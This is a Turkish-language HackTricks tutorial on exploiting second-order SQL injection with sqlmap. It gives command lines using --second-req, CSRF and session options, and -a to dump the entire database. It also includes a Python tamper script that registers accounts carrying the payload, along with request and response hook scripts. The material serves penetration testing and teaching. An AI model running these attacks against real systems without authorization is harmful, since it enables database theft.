Second Order Injection with SQLMap

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

SQLMap Second Order SQLi’leri istismar edebilir.
Şunları sağlamanız gerekir:

  • sqlinjection payload’unun kaydedileceği request
  • payload’un çalıştırılacağı request

SQL injection payload’unun kaydedildiği request, sqlmap’teki diğer injection’larda olduğu gibi belirtilir. sqlmap’in injection çıktısını/çalıştırılmasını okuyabildiği request, --second-url ile veya dosyadan tam bir request belirtmeniz gerekiyorsa --second-req ile belirtilebilir.

Basit second order örneği:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

Birkaç durumda bu yeterli olmayacaktır çünkü payload göndermek ve farklı bir sayfaya erişmek dışında başka işlemler yapmanız gerekecektir.

Bu gerektiğinde bir sqlmap tamper kullanabilirsiniz. Örneğin aşağıdaki script, sqlmap payloadını email olarak kullanarak yeni bir kullanıcı kaydedecek ve logout yapacaktır.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Bir SQLMap tamper her zaman bir payload ile injection denemesi başlamadan önce çalıştırılır ve bir payload döndürmek zorundadır. Bu durumda payload umurumuzda değil, ama bazı requestler göndermek istiyoruz, bu yüzden payload değişmez.

Dolayısıyla, herhangi bir nedenle ikinci order SQL injection’ı exploit etmek için daha karmaşık bir akışa ihtiyacımız varsa, örneğin:

  • “email” alanının içine SQLi payload’u ile bir account oluştur
  • Logout
  • O account ile Login ol (login.txt)
  • SQL injection’ı execute etmek için bir request gönder (second.txt)

Bu sqlmap satırı yardımcı olacaktır:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

Gerçek second-order akışlarda kullanışlı switches

Second-order automation genellikle payload storage request çalışır, ama execution request gürültülü, stateful veya protected olduğu için başarısız olur. Bu olduğunda, aşağıdaki flags genellikle daha fazla payload eklemekten daha kullanışlıdır:

sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
  • --csrf-token, --csrf-url, --csrf-method: Mağaza veya trigger request’inin her denemede yeni bir anti-CSRF token gerektirmesi durumunda kullanışlıdır.
  • --live-cookies: Her request’ten önce cookies’i yeniden yükler. Bir browser/Burp macro arka planda session state’i yeniliyorsa kullanışlıdır.
  • --safe-req ve --safe-freq: Uygulama sizi birkaç başarısız probe’dan sonra logout ettiğinde veya session’ı geçersiz kıldığında workflow’u canlı tutar.
  • --string, --not-string, --regexp, --code, --text-only: Second-order response içinde diffing’i kararsız yapan banners, ads, timestamps veya user-generated junk olduğunda kullanışlıdır.

When --tamper is not enough

tamper.py, bir payload kaydetmek, logout olmak, tekrar login olmak ve execution’ı trigger etmek için hâlâ en kolay yoldur. Ancak modern targets üzerinde, mantığın bir kısmını request/response hooks içine taşımak çoğu zaman daha temizdir:

  • --preprocess: Gönderilmeden önce tam HTTP request’i değiştirir. Bir second-order flow ekstra bir nonce, ekstra bir parameter veya header normalization gerektirdiğinde kullanışlıdır.
  • --postprocess: sqlmap karşılaştırmadan önce HTTP response’u temizler. Second-order sink dynamic HTML içine sarılıysa ve yalnızca küçük bir fragment stabil kalıyorsa kullanışlıdır.

Example request/response hooks:

#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code

Important limitations

  • --second-req komutunun, ikinci request içinde bir * placeholder’a aynı payload’ı yeniden oynatacağını varsaymayın. Trigger request de injected value’yu (veya onun türetilmiş bir versiyonunu) gerektiriyorsa, genellikle özel bir tamper, --preprocess ya da local proxy gerekir.
  • İkinci request için --eval’e güvenmeyin. Resmi kullanım belgeleri --eval’i primary request flow için tanımlar; ikinci request de her deneme için farklılaştırmalar gerektiriyorsa, bunu helper script’lerinizin içinde ele alın.

Bu pattern özellikle payload şu yerlerde saklandığında faydalıdır:

  • Daha sonra sorgulanan filenames veya image metadata
  • Daha sonra admin panelleri tarafından consumed edilen registration/profile fields
  • Server-side kaydedilen ve daha sonra replay edilen sorting/filtering preferences
  • Preview, export veya moderation action sonrasında ancak execute edilen workflow state

References

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin